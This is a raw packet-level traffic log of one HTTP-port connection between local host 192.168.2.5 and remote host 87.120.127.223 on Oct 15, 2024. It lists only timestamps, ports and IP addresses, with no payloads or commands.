Oct 15, 2024 19:22:30.723750114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723807096 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723820925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723839998 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723860979 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.723881006 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723896980 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.723929882 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724069118 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724116087 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724131107 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724150896 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724211931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724227905 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724251032 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724332094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724369049 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724385023 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724399090 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724431038 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724464893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724479914 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724514961 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724610090 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724669933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724684000 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724704027 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724780083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724795103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724818945 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.724914074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724962950 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724977016 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.724998951 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.725024939 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.725033045 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725128889 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725167990 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.725178003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725193024 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725227118 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.725261927 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725311995 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725326061 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.725349903 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766134977 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766216993 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766227961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766271114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766340971 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766343117 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766381025 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766413927 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766432047 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766450882 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766484022 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766516924 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766544104 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766550064 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766565084 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.766587973 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766618013 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.766638994 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.806912899 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.838609934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838663101 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838697910 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838721991 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.838749886 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838784933 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838838100 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838844061 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.838872910 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838910103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838928938 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.838958979 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.838962078 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.838996887 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839029074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839044094 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839081049 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839113951 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839133978 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839148045 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839200974 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839272976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839339972 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839426994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839462042 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839488029 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839497089 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839512110 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839533091 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839584112 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839617968 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839641094 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839667082 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839668036 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839704037 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839736938 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839760065 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839771986 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839809895 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839869976 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839875937 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839930058 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839962959 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.839982033 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.839996099 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840034962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840159893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840219975 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840223074 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840254068 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840317011 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840342999 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840346098 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840380907 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840394974 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840415955 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840467930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840519905 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840527058 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840553045 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840568066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840588093 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840648890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840711117 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840739965 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840770960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840802908 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.840825081 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.840847969 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.881844044 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.881875038 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.881923914 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.881946087 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.881958008 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.881993055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882011890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.882044077 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882077932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882103920 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.882111073 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882144928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882194996 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882195950 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.882227898 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882277966 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.882294893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882327080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882350922 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.882361889 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.882420063 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955529928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955590963 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955622911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955676079 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955691099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955710888 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955733061 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955749035 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955782890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955833912 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955835104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955869913 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955902100 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955929995 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955933094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.955951929 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.955986977 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956063032 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956096888 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956130981 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956149101 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956151962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956183910 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956217051 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956234932 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956248999 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956300020 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956300020 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956372976 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956401110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956429005 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956433058 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956466913 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956500053 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956510067 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956532955 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956568003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956573009 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956618071 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956645966 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956653118 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956680059 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956696033 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956713915 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956744909 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956779003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956799984 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956813097 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956832886 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.956881046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956933975 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956962109 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.956973076 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957012892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957012892 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957046986 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957078934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957134008 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957324982 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957382917 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957573891 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957603931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957668066 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957711935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957743883 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957778931 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957801104 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.957807064 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.957891941 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998403072 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998570919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998600960 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998636961 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998652935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998689890 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998738050 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998742104 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998770952 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998801947 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998802900 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998836040 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998884916 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998894930 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998919964 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.998940945 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.998975039 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999008894 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999041080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999043941 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.999074936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999106884 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999111891 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.999140978 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.999161005 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.041294098 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.072524071 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072563887 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072618961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072626114 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.072652102 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072686911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072715044 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.072721004 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072757959 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.072807074 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073045015 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073076963 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073110104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073131084 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073143005 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073169947 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073178053 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073211908 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073246002 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073278904 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073280096 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073302031 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073335886 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073370934 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073379993 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073457003 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073488951 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073522091 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073548079 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073599100 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073601007 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073632956 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073667049 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073693037 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073720932 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073754072 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073788881 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073802948 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073833942 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073854923 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073867083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073918104 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073950052 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.073966980 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.073985100 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074017048 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074039936 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.074052095 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074060917 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.074088097 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074122906 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074141979 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.074156046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074189901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074207067 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.074223042 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074255943 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074289083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074295044 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.074323893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.074342966 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.115565062 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115624905 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115658998 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115674019 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.115706921 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.115736961 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115771055 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115804911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115921021 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115952969 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.115959883 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.115982056 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.115988970 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116022110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116056919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116084099 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.116105080 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.116110086 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116144896 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116178036 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116194963 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:31.116211891 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:31.116245985 CEST	80	49767	87.120.127.223	192.168.2.5
